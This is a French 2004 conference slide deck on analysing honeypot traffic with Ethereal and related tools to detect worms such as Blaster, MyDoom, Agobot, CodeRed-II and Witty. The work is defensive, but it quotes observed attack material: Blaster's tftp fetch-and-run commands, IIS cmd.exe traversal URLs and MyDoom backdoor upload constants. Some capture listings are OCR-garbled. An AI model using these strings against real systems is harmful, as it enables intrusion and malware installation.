



HERVÉ SCHAUER CONSULTANTS
Cabinet de Consultants en Sécurité Informatique depuis 1989
Spécialisé sur Unix, Windows, TCP/IP et Internet

JSSI 2004

4 mai 2004

Ethereal, un analyseur réseau à usages multiples

ou comment détecter virus et vers par analyse réseau

Jean-Baptiste Marchand
[<Jean-Baptiste.Marchand@hsc.fr>](mailto:Jean-Baptiste.Marchand@hsc.fr)

- ✗ Ethereal
 - ✗ Fonctionnalités
- ✗ Analyse réseau (dans l'optique de détection de virus et vers)
 - ✗ Capture de trafic sur l'Internet
 - ✗ Analyse de premier niveau des traces collectées
 - ✗ Analyse fine avec Ethereal

- ✗ Ethereal
 - ✗ Analyseur réseau : logiciel qui décode le trafic réseau, jusqu'à la couche applicative
 - ✗ Logiciel libre, fonctionne sur Unix et Windows
 - ✗ Support de plus de 500 protocoles
- ✗ Capture et lecture du trafic réseau
 - ✗ Capture en utilisant l'interface pcap (Unix) ou Winpcap (Win32)
 - ✗ Support de nombreux formats de captures d'autres analyseurs réseau
 - ✗ Programmes editcap et mergecap, pour éditer ou convertir les formats de fichiers de capture supportés par ethereal

- ✗ Décodage du trafic
 - ✗ ethereal (GUI en GTK) ou tethreal (CLI)
 - ✗ Filtres d'affichage (*display filters*), qui permettent de filtrer les trames affichées
 - ✗ Tout champ décodé par ethereal peut être spécifié dans un **filtre d'affichage**
 - ✗ Différent d'un **filtre de capture** (expressions BPF), qui sont pris en compte lors de la phase de capture du trafic réseau
- ✗ Sauvegarde du trafic
 - ✗ Possibilité de sauvegarder un sous-ensemble du trafic capturé
 - ✗ Particulièrement intéressant en utilisant un filtre d'affichage

- ✗ Analyse du trafic
 - ✗ Fonctionnalité *Follow TCP Stream* : réassemblage d'une session TCP
 - ✗ Fonctionnalités statistiques avancées, parmi lesquelles
 - ✗ *Protocol Hierarchy* : donne un aperçu de la répartition des protocoles observés dans une capture
 - ✗ *Conversation List* : donne la liste des conversations observées dans une capture
 - ✗ *Endpoint List* : donne la liste des endpoints observés dans une capture
- ✗ Identification du trafic
 - ✗ Ethereal peut se baser sur les numéros de port pour identifier la nature du trafic
 - ✗ Mécanisme d'heuristique pour les protocoles qui n'utilisent pas un port fixe
 - ✗ Fonctionnalité *Decode As*, lorsqu'Ethereal se trompe dans l'identification
 - ✗ Il est parfois nécessaire de désactiver le décodage d'un protocole donné (*Enabled Protocols*)

- ✗ Capture de trafic sur l'Internet

- ✗ A l'aide d'un pot de miel, en écoute sur 8 adresses IP (xxx.yyy.zzz.ttt/29)
- ✗ Logiciels utilisés : honeyd et tcpdump
- ✗ honeyd : pot de miel (*honeypot*) dit à interaction moyenne
 - ✗ Configuration par défaut : répond aux demandes de connexion TCP mais **pas de service en écoute**
 - ✗ `arpd xxx.yyy.zzz.ttt/29 ; honeyd -t honeyd.log xxx.yyy.zzz.ttt/29`
- ✗ tcpdump : sonde réseau pour capture le trafic à destination des hôtes émulés par le pot de miel
 - ✗ `tcpdump -s 0 -w PourJeanBat.net xxx.yyy.zzz.ttt/29`
 - ✗ Capture de l'intégralité du trafic à destination du sous-réseau (`net xxx.yyy.zzz.ttt/29`)
 - ✗ Option `-s 0` pour capturer l'intégralité des trames (impératif pour l'analyse ultérieure avec ethereal)

Capture de trafic : trace résultat

- × Trace résultat (commande capinfo (tcpreplay))

```
x PourJeanBat3 pcap file
      pcap (little endian)
      version: 2.4
      zone: 0
      sig figs:
      snaplen: 2345
      linktype: ethernet
      1520676 packets, 265613585 bytes
      first packet: Fri Mar 12 19:17:15 2004
      last   packet: Thu Apr  1 11:07:02 2004
```

- × Trace de 277 Mo, pour environ 3 semaines de trafic
- × Intégralité du trafic
- × Pas directement analysable dans ethereal, nécessite un découpage en traces de tailles inférieures

- ✗ Premier aperçu de la typologie du trafic collecté
 - ✗ Utilisation de la suite d'outils Argus (*the network Audit Record Generation and Utilization System*) : <http://www.qosient.com/argus/>
 - ✗ Outils utilisés
 - ✗ argus : génération d'un fichier au format argus, à partir d'une trace pcap
 - ✗ `argus -r PourJeanBat3 -w PourJeanBat3.ra`
 - ✗ rahosts : liste des hôtes observés dans une trace
 - ✗ `rahosts -n -r PourJeanBat3.ra > PourJeanBat3.rahosts`
 - ✗ 9532 hôtes différents observés
 - ✗ ramon : aperçu des ports (tcp ou udp) ciblés
 - ✗ `ramon -n -M Svc -n -r PourJeanBat3.ra - tcp > PourJeanBat3.tcp`
 - ✗ `ramon -n -M Svc -n -r PourJeanBat3.ra - udp > PourJeanBat3.udp`
 - ✗ rasort : tri des différents flux selon des critères paramétrables

Typologie : 20 ports TCP les plus visés

x	12 Mar 04 19:17:19	tcp 445	210659	146770	17291378	8102568
	12 Mar 04 19:17:15	tcp 139	177533	123457	12494750	6932094
	12 Mar 04 19:17:19	tcp 3127	96030	93569	112351927	5058754
	12 Mar 04 19:17:49	tcp 80	70621	54161	42044963	2968878
	12 Mar 04 20:30:57	tcp 1433	63718	26909	4127828	1489798
	12 Mar 04 19:20:10	tcp 135	41236	28515	8571154	1577190
	12 Mar 04 19:20:13	tcp 4444	22441	16433	1455763	900578
	12 Mar 04 19:17:19	tcp 6129	8485	6577	3402828	363582
	12 Mar 04 19:17:22	tcp 1025	5276	4209	2075711	233062
	13 Mar 04 05:57:42	tcp 3128	4090	3806	4195505	206492
	12 Mar 04 19:17:19	tcp 2745	3844	2934	230990	163044
	12 Mar 04 19:17:19	tcp 5000	3237	2171	218254	121014
	13 Mar 04 00:01:43	tcp 1080	2268	2002	1878222	108896
	12 Mar 04 19:17:33	tcp 1981	2385	1659	231978	92270
	13 Mar 04 09:49:06	tcp 10080	1987	1820	1894137	98740
	13 Mar 04 00:10:02	tcp 21	1082	605	60508	34462
	12 Mar 04 20:58:52	tcp 4899	598	356	34846	19772
	12 Mar 04 19:20:56	tcp 20168	358	208	20028	11580
	12 Mar 04 19:20:56	tcp 1257	174	111	9710	6142
	19 Mar 04 12:59:59	tcp 111	147	80	8914	4448

Services TCP visés (1/2)

- ✗ 139/tcp, 445/tcp : serveur SMB/CIFS
- ✗ 3127/tcp : *backdoor* installée par le virus MyDoom-A (a.k.a. Novarg.A)
- ✗ 80/tcp : serveur HTTP ou *backdoor* laissée par le virus MyDoom-B
- ✗ 1433/tcp : serveur MSSQL
- ✗ 135/tcp : service rpcss des systèmes Windows
- ✗ 4444/tcp : *backdoor* laissée par les vers de la famille Blaster
- ✗ 6129/tcp : logiciel DameWare remote control server
- ✗ 1025/tcp : service MSRPC (notamment service RPC du service Workstation)
- ✗ 3128/tcp : relais HTTP ou *backdoor* laissée par le virus MyDoom-B
- ✗ 2745/tcp : *backdoor* laissée par le virus de la famille Beagle

- ✗ 5000/tcp : service UPnP (Universal Plug and Play)
- ✗ 1080/tcp : relais SOCKS ou *backdoor* laissée par le virus MyDoom-B
- ✗ 1981/tcp : *backdoor* Shockrave
- ✗ 10080 : *backdoor* laissée par le virus MyDoom-B
- ✗ 21/tcp : serveur FTP
- ✗ 4899/tcp : *backdoor* laissée par le virus Deloder-A
- ✗ 20168/tcp : *backdoor* laissée par le virus Lovgate-AA
- ✗ 1257/tcp : ?
- ✗ 111/tcp : portmapper ONC-RPC

Typologie : ports UDP visés

x	12	Mar	04	19:17:15	udp	137	61383	0	5647236	0
	16	Mar	04	10:53:09	udp	500	6723	17	1224478	3806
	12	Mar	04	19:27:51	udp	1434	857	0	358226	0
	12	Mar	04	19:52:10	udp	1026	612	0	493669	0
	15	Mar	04	18:46:34	udp	38293	246	0	14268	0
	13	Mar	04	02:37:11	udp	1027	138	0	113817	0
	25	Mar	04	04:49:18	udp	161	41	0	3587	0
	13	Mar	04	09:03:00	udp	53	27	0	2704	0
	21	Mar	04	22:33:59	udp	11654	25	0	29450	0
	23	Mar	04	07:18:40	rtcp	137	23	0	2116	0
	22	Mar	04	20:44:49	udp	0	20	0	13712	0
	21	Mar	04	23:57:46	udp	56830	20	0	22840	0
	22	Mar	04	03:05:17	udp	43326	20	0	20740	0
	21	Mar	04	22:08:46	udp	44603	19	0	23807	0
	21	Mar	04	22:31:18	udp	55297	17	0	15742	0
	22	Mar	04	03:07:33	udp	22967	15	0	15015	0
	21	Mar	04	23:14:51	udp	24902	15	0	19245	0
	21	Mar	04	22:34:54	udp	10996	14	0	15568	0
	28	Mar	04	19:37:21	udp	49597	2	0	2482	0

- ✗ 137/udp : résolution de noms NetBIOS (NetBIOS sur TCP/IP)
- ✗ 500/udp : IKE (Internet Key Exchange)
- ✗ 1434/udp : SQL Server resolution service
- ✗ 1026/udp, 1027/udp : service Messenger (systèmes Windows)
- ✗ 38293/udp : Norton Antivirus ?
- ✗ 161/udp : SNMP
- ✗ 53/udp : DNS
- ✗ 0/udp : ?
- ✗ **Où est Witty (4000/udp) ?**

- ✗ Trafic malicieux observé à plusieurs finalités
- ✗ Exploiter une vulnérabilité dans un logiciel
 - ✗ Blaster/SoBig (135/tcp), exploit DameWare (6129/tcp), exploit UPnP (5000/tcp), Slammer (1434/udp), Witty (4000/udp)
- ✗ Exploiter une backdoor laissée par un vers ou virus installé au préalable
 - ✗ Backdoors MyDoom-A (3127/tcp), MyDoom-B (80/tcp, 1080/tcp, 3128/tcp, 10080/tcp), Beagle (2745/tcp), Blaster (4444/tcp), Deloder-A (4899/tcp), Lovgate-AA (20168/tcp), Shockwave (1981/tcp)
- ✗ Exploiter une configuration par défaut trop permissive
 - ✗ Serveur SMB/CIFS (139/tcp, 445/tcp), Serveur SQL Server (1433/tcp)
- ✗ Envoyer de la publicité...
 - ✗ Spam à destination du service Messenger (1026/udp, 1027/udp)

- ✓ Etape 1 : extraire de la trace principale une sous-trace contenant uniquement le trafic souhaité
 - ✗ `tcpdump -r PourJeanBat3 -w 4444.cap 'tcp port 4444'`
- ✓ Première étape suivante possible : utiliser tcpflow pour extraire les données échangées dans les différentes sessions TCP
 - ✗ `mkdir 4444 ; cd 4444 ; tcpflow -r ../../4444.cap`
 - ✗ Analyse va se poursuivre avec les outils du shell : ls, awk, sort, uniq, md5
- ✓ Séquences utilisées ici (dans le répertoire contenant les flux extraits)
 - ✗ `ls -l | awk '{print $5}' | sort | uniq -c | sort -nr`
 - ✗ `find . -size 42c | while read file ; do md5 -q $file ; done | sort -nr`

- ✗ Autre étape suivante possible : utiliser `split.py` pour découper la sous-trace extraite en autant de traces pcap qu'il y a de sessions TCP
 - ✗ `split.py trace.cap`
 - ✗ Permet de poursuivre l'analyse avec ethereal

- ✓ Découpage de la trace 135.cap

3114 1776

2358 72

177 204

32 2976

28 1704

9 1779

8 244

2 3

2 1460

1 2904

1 144

1 1322

- × Calcul de l'empreinte MD5 pour la variante de 1776 octets (3114 occurrences observées) :

```
find . -size 1776c -print | while read name ; do md5  
-q $name ; done | sort | uniq -c | sort -rn
```

```
2465 288c8038af9b6cc56c3f5caafc46659  
633 b112adde25720c42e5b55b75cdd8eaca  
8 33549c83da5641b6f5d1c46a6aed8d9a  
8 1dae399936cd5eb16eeb6e094ac911b9
```

- × Les deux principales variantes présentent uniquement une différence de 4 octets (dans la partie des données passées en paramètre)

- ✗ Analyse dans ethereal
 - ✗ Tentative d'exploitation d'une vulnérabilité dans l'interface ISystemActivator (interface ORPC, pour DCOM)
 - ✗ Code d'exploitation (*exploit*) publié le 25 juillet 2003 (Xfocus, *The Analysis of LSD's Buffer Overrun in Windows RPC Interface*), récrit par H D Moore le 26 juillet 2003
 - ✗ Utilisé **tel quel** par les auteurs du vers Blaster, à l'intérieur de l'exécutable msblast.exe
 - ✗ Blaster met en écoute un shell SYSTEM sur le port 4444/tcp
 - ✗ Blaster Worm Analysis :
<http://www.eeye.com/html/Research/Advisories/AL20030811.html>

Nr.	Time	Source	Destination	Protocol	Info
1	2004-03-13 19:11:14.517352	207.76.104.83	208.225.242.241	TCF	3254 > 135 [SYN] Seq=0 Ack=0 Win=16384 Len=0 MSS=1530
2	2004-03-13 19:11:14.538822	208.225.242.241	207.76.104.88	UF	135 > 3254 [SYN, ACK] Seq=0 Ack=1 Win=16000 Len=0 MSS=1460
3	2004-03-13 19:11:14.517580	207.76.104.83	208.225.242.241	TCF	3254 > 135 [ACK] Seq=1 Ack=1 Win=17680 Len=0
4	2004-03-13 19:11:10.733707	207.76.104.83	208.225.242.241	DCERPC	J:nc; call_id: 127 UUID: 0000C1e0 0000 0000 c00C 00000000C0046 ver: 0.0
5	2004-03-13 19:11:18.7350827	208.225.242.241	207.76.104.88	TCF	135 > 3254 [ACK] Seq=1 Ack=73 Win=16000 Len=0
F	2004-03-13 19:11:18.735494	207.76.104.83	208.225.242.241	TCF	[Resegmentated TCP?]
/	2004-03-13 19:11:18.735722	208.225.242.241	207.76.104.88	UF	135 > 3254 [FLK] Seq=1 Ack=1442 Win=16000 Len=0
E	2004-03-13 19:11:18.7348873	207.76.104.83	208.225.242.241	DCERPC	Request: call_id: 229 opnum: 4 ctx_id: 1
C	2004-03-13 19:11:10.030032	207.76.104.83	208.225.242.241	TCF	3254 > 135 [FIN, ACK] Seq=1777 Ack=1 Win=17000 Len=0
10	2004-03-13 19:11:18.351314	208.225.242.241	207.76.104.88	TCF	135 > 3254 [ACK] Seq=1 Ack=1777 Win=16000 Len=0
11	2004-03-13 19:11:18.35157F	208.225.242.241	207.76.104.88	TCF	135 > 3254 [FTN, ACK] Seq=1 Ack=1778 Win=15000 Len=0
12	2004-03-13 19:11:19.255380	207.76.104.83	208.225.242.241	UF	3254 > 135 [FLK] Seq=1/3 Ack=2 Win=17000 Len=0

Frame 8 (338 bytes on wire, 398 bytes captured)

Ethernet II, Src: 00:50:73:25:bd:C1, Dst: 52:54:00:e0:3a:b0

Internet Protocol Version 4, Src Addr: 207.76.104.88 (207.76.104.88), Dst Addr: 208.225.242.241 (208.225.242.241)

Transmission Control Protocol. Src Port: 3254 (3254), Dst Port: 135 (135). Seq: 1433, Ack: 1, Len: 344

UIP RPC

Version: 5

Version (minor): 0

Packet type: Request (0)

Packet Flags: (0x08)

Data Representation: 10000000

Flag Length: 1704

Ack Length: 0

Call ID: 229

Allon Hint: RAC

Context ID: 1

Opnum: 4

Stub data (1000 bytes):

- × Calcul de l'empreinte MD5 pour la variante de 72 octets (2358 occurrences observées) :

```
find . -size 72c | while read name ; do md5 -q $name ;  
done | sort | uniq -c | sort -n
```

```
1082 a26b51f9dd5297b37e393ff0610c0dea  
1276 da4874932f7fcaba5277bbcdff2b5e6b0
```

- × L'analyse dans ethereal de cette variante montre que la différence entre les deux variantes est l'interface DCE RPC utilisée
 - × ISystemActivator : 000001a0-0000-0000-c000-000000000046 ver 0.0
 - × MGMT: afa8bd80-7d8a-11c9-bef4-08002b102989 v1.0
 - × Recherche de services RPC vulnérables sur le port 135/tcp (service rpcss)

Variantes de 72 octets, dans tethereal

```
x 1 0.000000 192.71.76.151 -> xxx.yyy.zzz.ttt TCP 1770 > 135
[SYN] Seq=0 Ack=0 Win=16384 Len=0 MSS=1460
2 0.001033 xxx.yyy.zzz.ttt -> 192.71.76.151 TCP 135 > 1770
[SYN, ACK] Seq=0 Ack=1 Win=16000 Len=0 MSS=1460
3 0.100428 192.71.76.151 -> xxx.yyy.zzz.ttt TCP 1770 > 135
[ACK] Seq=1 Ack=1 Win=17520 Len=0
4 0.104335 192.71.76.151 -> xxx.yyy.zzz.ttt DCERPC Bind:
call_id: 127 UUID: 000001a0-0000-0000-c000-000000000046 ver 0.0

x 7 9.460253 217.229.239.116 -> xxx.yyy.zzz.ttt TCP 3414 > 135
[SYN] Seq=0 Ack=0 Win=16384 Len=0 MSS=1406
8 9.460611 xxx.yyy.zzz.ttt -> 217.229.239.116 TCP 135 > 3414
[SYN, ACK] Seq=0 Ack=1 Win=16000 Len=0 MSS=1460
9 11.905907 217.229.239.116 -> xxx.yyy.zzz.ttt TCP 3414 > 135
[ACK] Seq=1 Ack=1 Win=16872 Len=0
10 11.919313 217.229.239.116 -> xxx.yyy.zzz.ttt DCERPC Bind:
call_id: 1 UUID: MGMT
```

- ✗ Empreinte MD5 de la variante de 204 octets (177 occurrences observées) :
177 f3bfcc33d9c57d1258bc6b8ede736b6f5
- ✗

```
1 0.000000 218.103.148.199 -> xxx.yyy.zzz.ttt TCP 1740 > 135 [SYN]
Seq=0 Ack=0 Win=16384 Len=0 MSS=1440
2 0.000729 xxx.yyy.zzz.ttt -> 218.103.148.199 TCP 135 > 1740 [SYN, ACK]
Seq=0 Ack=1 Win=16000 Len=0 MSS=1460
3 0.301743 218.103.148.199 -> xxx.yyy.zzz.ttt TCP 1740 > 135 [ACK]
Seq=1 Ack=1 Win=17280 Len=0
4 0.312589 218.103.148.199 -> xxx.yyy.zzz.ttt DCERPC Bind: call_id:
415131524, 4 context items, 1st UUID: REMACT
5 0.312844 xxx.yyy.zzz.ttt -> 218.103.148.199 TCP 135 > 1740 [ACK]
Seq=1 Ack=205 Win=16000 Len=0
6 6.301268 218.103.148.199 -> xxx.yyy.zzz.ttt TCP 1740 > 135 [FIN, ACK]
Seq=205 Ack=1 Win=17280 Len=0
7 6.301787 xxx.yyy.zzz.ttt -> 218.103.148.199 TCP 135 > 1740 [FIN, ACK]
Seq=1 Ack=206 Win=16000 Len=0
8 6.650594 218.103.148.199 -> xxx.yyy.zzz.ttt TCP 1740 > 135 [ACK]
Seq=206 Ack=2 Win=17280 Len=0
```

- ✗ Cibles des vers MSRPC :
 - ✗ Vulnérabilité ISystemActivator
 - ✗ Vulnérabilité RemoteActivation
 - ✗ Interface MGMT, pour recherche d'une interface MSRPC vulnérable (une des deux précédentes)
- ✗ Stratégies employées
 - ✗ Envoi des données d'exploitation sans attente de réponse provenant du serveur visé
 - ✗ Approche du vers Blaster
 - ✗ Attente de la réponse au bind au service RPC vulnérable
 - ✗ Pas de service RPC en écoute sur le pot de miel : pas de réponse retournée
 - ✗ variantes de 72 et 204 octets

- ✗ Découpage de la trace 4444.cap

984 68

667 67

663 69

414 66

172 70

138 65

53 64

15 63

5 71

5 39

...

- ✗ Séquence de commandes typiques envoyées à destination de l'interpréteur de commandes (cmd.exe), en écoute sur le port 4444/tcp d'un système infecté :

```
tftp -i xxx.yyy.zzz.ttt GET msblast.exe  
start msblast.exe  
msblast.exe
```

- ✗ Nom de l'exécutable varie en fonction de la variante du vers
 - ✗ Blaster-A : msblast.exe
 - ✗ Blaster-B : teekids.exe
 - ✗ Blaster-D : mspatch.exe
 - ✗ Blaster-E : msbaugh.exe
 - ✗ Blaster-F : enbiei.exe

- Recherche avec ngrep dans la trace 4444.cap

```
ngrep -q -I 4444.cap 'start' | grep 'start' | sort |  
uniq -c | sort -n
```

- Nombre d'exemplaires collectés

- Blaster-A (msblast.exe) : 1571
- Blaster-B (teekids.exe) : 520
- Blaster-D (mspatch.exe) : 0
- Blaster-E (mslaugh.exe) : 708
- Blaster-F (enbiei.exe) : 287

- ✗ MyDoom : vers qui installe une *backdoor* sur les ports 3127,3128,80, 1080, 10080...
- ✗ *Backdoor* permet notamment le téléchargement et l'exécution d'exécutables
- ✗ Vers apparus après MyDoom cherchent à utiliser ce point d'entrée
 - ✗ Nombreuses connexions observées sur les ports des *backdoors* MyDoom
 - ✗ Envoi d'un préambule correspondant à la commande de téléchargement de la *backdoor*, suivi d'un exécutible
 - ✗ Extrait de `mydoom.pl` (<http://www.honeynet.org.br/tools/mydoom/>)

```
my $MYDOOM_UPLOAD = 0x85;
my $MYDOOM_MAGIC = 0x133C9EA2;
```
 - ✗

0000000	85	13	3c	9e	a2	4d	5a	90	00	03	00	00	00	04	00	00
0000020	00	ff	ff	00	00	b8	00	00	00	00	00	00	00	40	00	00
 - ✗ **Enlever 5 octets pour obtenir la taille de l'exécutible**

- Exécutables peuvent être extraits en supprimant les 5 premiers octets du flux TCP

```
tail -c 6+ mon_flux_tcp_mydoom | file -  
standard input: MS-DOS executable (EXE), OS/2 or MS  
Windows
```

- Vérifier que le binaire est **complet** avec perdr (PE ReaDeR) :

```
perdr --show-headers 56832.exe
```

Headers size	00001000
Size of raw data	00008200
Size of raw data	00000800
Size of raw data	00000400
Size of raw data	00001E00
Size of raw data	00002200

- ✗ Analyse de surface
 - ✗ `pefile -show-imports` : voir les fonctions importées par l'exécutable
 - ✗ `strings(1)` : recherche d'une signature caractéristique d'une version de virus donné
- ✗ Certains exécutables sont dans un format auto-extractible (*packers* type UPX ou autres)
 - ✗ Utiliser `upx -d` pour décompresser l'exécutable
- ✗ Caractéristiques des exécutables
 - ✗ Taille(s) (compressé et décompressé) de l'exécutable
 - ✗ permet **parfois** d'identifier la variante du virus, via les bases de données des éditeurs d'anti-virus, en se basant sur la nature de propagation observée.
 - ✗ Ex : exécutables MyDoom observés sur les ports 3127, 3128, 1080, 10080
 - ✗ Signatures MD5 apparaissent rarement dans les bases de données anti-virus...

- ✓ Découpage de la trace 3127.cap

210	5125	(Doomjuice-B, 5120 octets -> 6656 octets)
97	109121	(Agobot.HX, 109116 octets)
51	98309	(Agobot.RS 98304 octets -> 294912 octets)
34	315397	(Agobot.HM.315392, 315292 octets)
34	107925	(Agobot.EQ, 107920 octets)
29	92165	(Agobot.LH, 92160 octets)
23	700421	(700416 octets)
17	56837	(DeadHat-B, 56832 octets)
15	9733	(DeadHat-B, tronqué à 9728 octets)
14	86533	(86528 octets)
14	13829	(Nachi-D, 13824 octets)
12	152670	(45056 octets, étendu à 152665)
10	8325	(DeadHat-B, tronqué à 8320 octets)

...

- ✓ Découpage de la trace 3128.cap

```
27 57861 (57856 octets)
16 56837 (DeadHat-B, 56832 octets)
15 9733 (DeadHat-B, tronqué à 9728 octets)
13 8325 (DeadHat-B, tronqué à 8320 octets)
 6 55813 (DeadHat-C, 55808 octets)
 4 9861 (DeadHat-B, tronqué à 9856 octets)
 3 57856 (57856 octets, sans en-tête MyDoom)
...

```

- ✓ Découpage de la trace 1080.cap

```
32 3
18 56837 (DeadHat-B, 56832 bytes)
17 9
15 9733 (DeadHat-B, tronqué à 9728 bytes)
11 8325 (DeadHat-B, tronqué à 8320 bytes)
6 72
6 137
2 8261 (DeadHat-C, tronqué à 8256 octets)
2 25349 (DeadHat-B, tronqué à 25344 octets)
```

- ✓ Découpage de la trace 10080.cap

19	56837	(DeathHat-B, 56832 bytes)
15	9733	(DeathHat-B, tronqué à 9728 bytes)
11	8325	(DeathHat-B, tronqué à 8320 bytes)
2	25349	(DeadHat-B, tronqué à 25344 octets)
2	12677	(DeadHat-B, tronqué à 12672 octets)
1	9861	(DeadHat-B, tronqué à 9856 octets)
1	48901	(DeadHat-B, tronqué à 48896 octets)
1	40581	(DeadHat-B, tronqué à 40576 octets)
1	20997	(DeadHat-B, tronqué à 20992 octets)
1	20357	(DeadHat-B, tronqué à 20352 octets)
1	19589	(DeadHat-B, tronqué à 19584 octets)
1	18181	(DeadHat-B, tronqué à 18176 octets)
1	17157	(DeadHat-B, tronqué à 17152 octets)

- ✗ DoomJuice-B
- ✗ DeadHat-B
- ✗ DeadHat-C
- ✗ Nachi-D
- ✗ Agobot.HX, Agobot.RS, Agobot.HM, Agobot.EQ, Agobot.LH

- ✗ Vers Agobot/Gaobot
 - ✗ Se propage en cherchant à exploiter des vulnérabilités multiples
 - ✗ Ex : W32.Gaobot.AFW, qui tente d'exploiter les vulnérabilités suivantes :
 - ✗ DCOM RPC (MS03-026)
 - ✗ WebDAV/ntdll.dll (MS03-007)
 - ✗ Workstation service buffer overrun (MS03-043, MS03-049)
 - ✗ UPnP Notify buffer overflow (MS01-059)
 - ✗ Vulnérabilité MSSQL (1434/udp) (MS02-061)
 - ✗ LSA remote buffer overflow (MS04-011)
 - ✗ Egalement, backdoors de la famille MyDoom, Beagle et Optix
 - ✗ Au niveau d'une trace réseau : plusieurs ports visés simultanément

No.	Time	Source	Destination	Protocol	Info
1	2004-03-12 21:28:44.160599	32.185.167.255	192.63.254.133	TCP	1205 > 2745 [SYN]
2	2004-03-12 21:28:44.162531	32.185.167.255	192.63.254.133	TCP	1206 > 135 [SYN] S
5	2004-03-12 21:28:44.164423	32.185.167.255	192.63.254.133	TCP	1207 > 1025 [SYN]
7	2004-03-12 21:28:44.166152	32.185.167.255	192.63.254.133	TCP	1208 > 445 [SYN] S
9	2004-03-12 21:28:44.167960	32.185.167.255	192.63.254.133	TCP	1210 > 3127 [SYN]
11	2004-03-12 21:28:44.169672	32.185.167.255	192.63.254.133	TCP	1212 > 6129 [SYN]
13	2004-03-12 21:28:44.171401	32.185.167.255	192.63.254.133	TCP	1213 > 139 [SYN] S
15	2004-03-12 21:28:44.173140	32.185.167.255	192.63.254.133	TCP	1215 > 80 [SYN] S
27	2004-03-12 21:28:44.594093	32.185.167.255	192.63.254.133	TCP	1255 > 5000 [SYN]

⊕ Frame 1 (62 bytes on wire, 62 bytes captured)

⊕ Ethernet II, Src: 00:50:73:2b:bd:81, Dst: 52:54:00:e8:8a:b9

⊕ Internet Protocol, Src Addr: 32.185.167.255 (32.185.167.255), Dst Addr: 192.63.254.133 (192.63.254.133)

⊕ Transmission Control Protocol, Src Port: 1205 (1205), Dst Port: 2745 (2745), Seq: 0, Ack: 0, Len: 0

- ✓ Découpage de la trace 80.cap

1960 3818	CodeRed-II
1398 190	GET / HTTP/1.1
1102 97	GET /scripts/..{%c1%9c, %c0%2f, %c0%af}../ winnt/system32/cmd.exe?/c+dir HTTP/1.0
830 96	GET /scripts/..{%255c, %252f, %%35c}../ winnt/system32/cmd.exe?/c+dir HTTP/1.0
610 80	GET /{c,d}/winnt/system32/cmd.exe?/c+dir HTTP/1.0
589 117	GET /_{mem,vti}_bin/..%255c../%255c..% 255c./winnt/system32/cmd.exe?/c+dir HTTP/1.0
330 72	GET /MSADC/root.exe?/c+dir HTTP/1.0
322 70	GET /MSADC/root.exe?/c+dir HTTP/1.0
322 150	OPTIONS / HTTP/1.1 User-Agent: Microsoft-WebDAV-MiniRedir/5.1.2600
287 145	GET /msadc/..%255c../%255c../%255c/..%c1%1c../%c1%1c../%c1% 1c./winnt/system32/cmd.exe?/c+dir HTTP/1.0

- x
271 100 GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0
- 270 98 GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0
- 262 67126 Exploit ntdll.dll via WebDav sur IIS 5
- 78 2358 CodeRed-II, mal réassemblé par tcpflow, correctement réassemblé par ethereal
- 50 1460 CodeRed-II tronqué
- 25 313 GET / HTTP/1.0
- 23 2366 CodeRed-II, mal réassemblé par tcpflow, correctement réassemblé par ethereal
- 16 33 CONNECT 1.3.3.7:1337 HTTP/1.0
- 16 2920 CodeRed-II tronqué
- 15 315 GET / HTTP/1.0
- 12 41 HEAD / HTTP/1.0

- ✗ Traffic observé à destination du port 2745/tcp
 - ✗ 295 exemplaires de 17 octets, 383 exemplaires de 24 octets

```
0000000 ff43 ffff 3030 0130 1f0a 282b a12b 0132
```

```
0000010 0000
```

```
0000011
```

```
0000000 ff43 ffff 3030 0130 280a a191 e62b 2f60
```

```
0000010 8f32 1560 201a 001a
```

```
0000018
```

- ✗ Un "message" de réponse est probablement attendu, ce qui explique la faible taille des données reçues

- ✗ Vers Witty
 - ✗ Vise une vulnérabilité dans le composant d'analyse du protocole ICQ dans le moteur des sondes de détection d'intrusions ISS
- ✗ Vers novateur à plusieurs titres :
 - ✗ Charge utile (*payload*) destructive : écrit régulièrement 65Ko de données à un emplacement aléatoire du disque
 - ✗ Sorti le lendemain de l'annonce de la vulnérabilité: 19 Mars 2004
 - ✗ Lancé de façon simultané depuis plusieurs hôtes (entre 100 et 160 dans les 30 premières secondes)
 - ✗ Exploite une vulnérabilité dans un produit de sécurité (sonde NIDS), normalement mis en place par des organisations soucieuses de leur sécurité
 - ✗ The Spread of the Witty Worm (CAIDA) :
<http://www.caida.org/analysis/security/witty/>

- ✗ Witty : détails techniques
 - ✗ Transport sur UDP, port source 4000/udp
 - ✗ Charge utile totale entre 796 et 1307 octets, charge utile réelle de 637 octets
 - ✗ Ecriture à un emplacement aléatoire de 65 Ko tous les 20000 paquets envoyés
- ✗ Message exploitant la vulnérabilité dans le module de décodage PAM pour ICQ
 - ✗ Message SRV_MULTI_PACKET, encapsulant un message SRV_USER_ONLINE et un message SRV_META_USER
 - ✗ ISS PAM/ICQ 'Witty' Worm Analysis (Matthew Murphy) :
<http://www.netsecure.shawbiz.ca/witty-analysis.html>
 - ✗ Changer la valeur d'un octet pour décoder correctement le message dans ethereal
<http://www.mail-archive.com/full-disclosure@lists.netsys.com/msg16687.html>

No.	Time	Source	Destination	Protocol	Info
1	2004-03-21 22:08:46.112571	203.66.50.155	192.203.92.192	ICQv5 (U)	ICQv5 SRV_MULTI_PACKET

- ⊕ Frame 1 (1253 bytes on wire, 1253 bytes captured)
- ⊕ Ethernet II, Src: 00:50:73:2b:bd:81, Dst: 52:54:00:e8:8a:b9
- ⊕ Internet Protocol, Src Addr: 203.66.50.155 (203.66.50.155), Dst Addr: 192.203.92.192 (192.203.92.192)
- ⊕ User Datagram Protocol, Src Port: 4000 (4000), Dst Port: 44603 (44603)
- ⊖ ICQv5 SRV_MULTI_PACKET (len 1211)

- ⊖ Header

- Version: 5
- Session ID: 0x00000004
- Command: SRV_MULTI_PACKET (530)
- Seq Number 1: 0x0000
- Seq Number 2: 0x0000
- UIN: 0
- Checkcode: 0x00000000

- ⊖ Body

- Number of pkts: 2
- ⊖ ICQv5 SRV_USER_ONLINE (len 44)
 - ⊖ Header
 - ⊖ Body
- ⊖ ICQv5 SRV_META_USER (len 577)
 - ⊖ Header
 - ⊖ Unknown (0x0000)

Witty : trafic réseau

- Utilisation de rasort pour illustrer les ports **destination** du vers Witty

```
rasort -n -M sport -M dport -n -r PourJeanBat3.ra -  
udp src port 4000 | cut -d '.' -f 9 | cut -d ' ' -f 1  
| uniq -c
```

```
1 1026  
14 10996  
